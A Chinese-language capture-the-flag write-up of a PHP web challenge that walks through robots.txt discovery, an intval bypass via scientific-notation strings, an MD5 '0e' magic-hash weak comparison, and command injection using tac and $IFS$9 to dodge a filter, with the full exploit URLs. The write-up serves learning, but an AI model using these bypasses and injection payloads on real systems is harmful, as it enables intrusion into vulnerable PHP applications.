这道题写的我跌宕起伏,最后一步赶上饭点,吃了个饭回来一血没了[哭]
最后赶工赶了了三血,提交的时候好像有人和我相差几秒,当时没有听到Triple kill的音效,还以为三血都没拿到,失落了好一会~
咳咳,干正事!
题目一进去,简单的几个字hack me
第一感觉是在哪里做过,但是又想不起来
所以第六感告诉我,这道题有搞头。搞不好可以拿一个一血
瞄了一会,在前端发现了一个人间极乐bot
其实就是题目,我没看到标签页
bot字眼,果断想到robots.txt网站的爬虫规则
访问http://101.200.53.102:23333/robots.txt
找到了下一步的大门,写着fake_flag
我已经做好心里准备了
来到http://101.200.53.102:23333/fAke_f1agggg.php
里面就写着一句flag{this_is_not_flag}
,连wctf2020
都没有,肯定没戏
F12看了看网络包,在响应头里,发现有一个look_at_me
字段
看到fl4g.php
,超开心!
满怀期待进到http://101.200.53.102:23333/fl4g.php
竟然叫我去非洲!?
可以看到一共有三层,第一层是intval函数的关卡
要求GET传参num,而且num的值既要小于2020,加1后又要大于2021…
如果传入的num不满足条件,就会变成穷人
如果不传入num,就要去非洲
为了绕过这一点,我从某歌上找来了一张图片进行研究
里面有提到很关键的地方:
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
也就是说,如果intval函数参数填入科学计数法的字符串,会以e前面的数字作为返回值,这里是1
那么当对字符串'1e10'
+1是不是可以将字符串类型强行转换成数字类型呢?
为了验证这个猜想,本地测试一下
$num='2e4';
echo("intval('2e4') = ".intval($num));
echo('
');
echo "'2e4'+1 = ";
var_dump(($num+1));
echo('
');
echo("intval('2e4'+1) = ".intval($num+1));
echo('
');
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo("you pass!");
}
?>
运行结果:
intval('2e4') = 2
'2e4'+1 = float(20001)
intval('2e4'+1) = 20001
you pass!
看来这样绕过是可以的!!
立马进行实践,构造url:http://101.200.53.102:23333/fl4g.php?num='2e4'
回车!然后变成穷人了…
后来猜测可能是传入num值后台会自动转成字符串,由于开启了error_reporting(0);
,所以就算报错咱也不知道~
于是重新构造url:http://101.200.53.102:23333/fl4g.php?num=2e4
有劳力士了!
来到第二层
居然要求传入一个叫md5的参数,然后对其进行MD5加密,并且加密前后的值要求相等==
众所周知,php具有弱类型,==
在进行比较的时候,会先将字符串类型转化成相同,再比较
示例:
var_dump("0e123456"=="0e4456789"); //true
转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0
因此,根据这一点,可以遍历出一个字符串,使得进行MD5加密前是'0e'
开头的,MD5加密后也是'0e'
开头的,这样子,就能保证加密前后的值是相等==
的了
在某歌上,找到满足条件的字符串'0e215962017'
构造url:http://101.200.53.102:23333/fl4g.php?num=2e4&md5=0e215962017
注意,这里不要加单引号,因为对于传入的参数,后端会转化成字符串类型,再run
空格
cat
,就会被替换成wctf2020
先不管那么多,先看看当前目录下都有什么
构造url:http://101.200.53.102:23333/fl4g.php?num=2e4&md5=0e215962017&get_flag=ls
看到了我们需要读的文件,那个最长的flllllaaaaaag
读文件一般使用cat,但是cat会被替换,所以可以使用tac
另外一点就是,无论哪个命令,后面接一个文件都需要先空格,即tac fllllaaaag
,但是这里根据逻辑不能填空格
解决方法,利用$IFS$9
替代空,原因戳这里
因此,构造最终的url:http://101.200.53.102:23333/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
完整flag:wctf2020{s1mple_php_1s_v3ry_e@sy_and_here_1s_y0ur_stupid_flag_wish_u_h@ve_@_go0d_time_enj0y_1t}
分界线
**************************
Date:2020/03/30
Category:WEB
Author:Ver.
**************************